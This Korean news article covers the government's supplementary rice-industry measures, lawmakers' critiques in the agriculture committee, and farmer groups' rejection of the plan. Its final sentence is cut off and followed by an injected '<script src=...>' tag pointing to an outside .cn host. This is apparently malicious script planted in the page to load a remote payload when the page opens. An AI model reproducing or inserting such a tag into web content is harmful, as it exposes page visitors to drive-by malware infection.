RPC 기능을 확대하기 위해 건조저장 시설을 2005년 50개소에서 2006년 110개소로 대폭 늘리기로 했으며 담보력이 부족한 농업인들을 위해 농신보 정부출연을 올해 4000억원보다 1780억원이 늘어난 5780억원으로 확대했다.
이와 함께 연체농가 경영회생 지원 등을 위해 농지은행제도를 조기에 도입키로 하고 신규시범사업예산 100억원을 지원키로 했으며 정기국회에서 `농업기반공사 및 농지기금법''을 개정해 농지은행 설립근거를 마련키로 했다.
지난해부터 시범사업으로 실시한 조건불리지역 직불제도 전국으로 확대해 경사도 14%이상인 법정리 밭 18만7000ha에 대해 ha당 40만원씩 532억원을 지원키로 했다.
박해상 농림부 차관보는 이날 농민단체장들에 관련 내용을 설명하는 자리에서 “이번 당정안은 농민단체에서 제시한 핵심 건의사항에 대해서 재정여건 및 정책방향과 배치되지 않는 범위 내에서 최대한 수용하는 것을 원칙으로 한 것”이라고 설명했다.
이날 회의에는 정부측에서 이해찬 국무총리, 반기문 외교통상부장관, 박홍수 농림부 장관, 조영택 국무조정실장, 권태신 재정경제부 제2차관, 장병완 기획예산처차관 등이 참석했고 열린우리당에서는 문희상 당의장, 정세균 원내대표, 원혜영 정책위의장, 배기선 사무총장, 정장선 제4정조위원장, 이화영 제2정조 부위원장, 조일현 농해수위 간사, 정병헌 대변인 등이 참석했다.
# 국회 반응
국회 농림해양수산위원회는 지난 17일 전체회의를 열고 쌀 협상결과에 대해 보다 적극적인 농민설득노력을 해줄 것과 근본적인 쌀 산업대책이 마련돼야 한다고 정부에 촉구했다.
김낙성 의원(자민련, 충남 당진)은 “RPC건조저장시설을 올해 50개소, 내년 110개소 늘린다고 하는데 이 정도로는 지원대책이 부족하다”며 “정부에서 마련한 추가 보완대책으로 과연 국내 쌀 산업을 지킬 수 있을 것인가”라고 반문했다.
김 의원은 또 “보따리상들이 국내로 밀반입하는 농산물 통계도 잡히지 않는 상태에서 어떻게 농업을 회생시킬 수 있는 대책을 만들 수 있겠느냐”며 따졌다.
한광원 의원(열린우리당, 인천 중·동구·옹진)은 “쌀 국회비준이 지연되거나 부결될 경우 국내 쌀산업에 치명적인 상처를 준다고 하면서 아직까지 국회비준을 받지 못한 것은 국민과 농민들을 상대로 한 설득노력이 부족한게 아니냐”고 지적한 뒤 “고품질 쌀 개발 등 쌀 산업발전대책과 함께 홍보대책도 함께 마련하라”고 촉구했다.
이방호 의원(한나라당, 경남 사천)도 “수입쌀과 경쟁하기 위해서는 품질개선이 관건”이라며 “고품질 쌀 개발에 더욱 노력할 것”을 주문했다.
이시종 의원(열린우리당, 충북 충주)은 “중국산 찐쌀이 국산 쌀 산업을 위협하고 있는데 정부는 가공식품이라는 이유로 단속이 어렵다고 하는 것은 의지가 부족하기 때문”이라며 “WTO에 찐쌀에 대한 유권해석을 의뢰하는 등 적극적인 노력을 기울이고, 제도개선 등을 통해 중국산 찐쌀을 단속하라”고 말했다.
이영호 의원(열린우리당, 전남 강진·완도)은 “쌀 협상을 비롯해 현재 진행되고 있는 DDA농업협상, FTA 등 농업이 점점 글로벌화되고 있는 가운데 해외농업환경조사를 위한 예산은 2억원에 불과하다”고 지적했다.
이 의원은 또 “생산조정제가 실시된 이후 전국에 휴경논이 늘어나고 있는데 이 보다는 특정단지를 지정해 단지화해야 한다”고 주장했다.
# 농민단체 반응
정부의 쌀 추가대책에 대해 농민단체들은 실효성있는 대책들은 모두 빠진 껍데기 대책에 불과하다며 강력 비난했다.
한국농업경영인중앙연합회는 지난 17일 성명을 통해 “정부가 내놓은 추가대책은 대부분 이미 추진중이거나 추진 예정중인 것”이라며 “우리농업의 근본적인 문제를 해결하기에는 턱없이 부족하다”고 밝혔다.
특히 식량자급률 목표치 법제화를 중장기 농정 지표로 삼겠다면서 이의 실현을 위한 계획수립에는 난색을 표하고 있고, 우리 농산물을 학교급식에 지원하는 학교급식법 개정안에도 반대하는 등 실효성있는 대책들은 모두 빠져 있다는 것이다.
한농연은 또 현장 농민들에게 절실한 정책자금 금리인하, 상호금융저리대체 자금 상환기한 연기 등 근본적인 농가부채 해결은 이번 대책에서 전혀 반영되지 않는등 예산지원이 필요한 대책들은 누락되거나 요구 수준에 크게 못 미치는 수준이라고 목소리를 높혔다.
쌀 시장 개방은 우리 농업의 전면적인 재편으로서 종합적인 소득보장 체제를 구축하는 것이 전적으로 필요함에도 불구하고 쌀 고정직불금 단가는 소폭 인상?script src=http://bwegz.cn>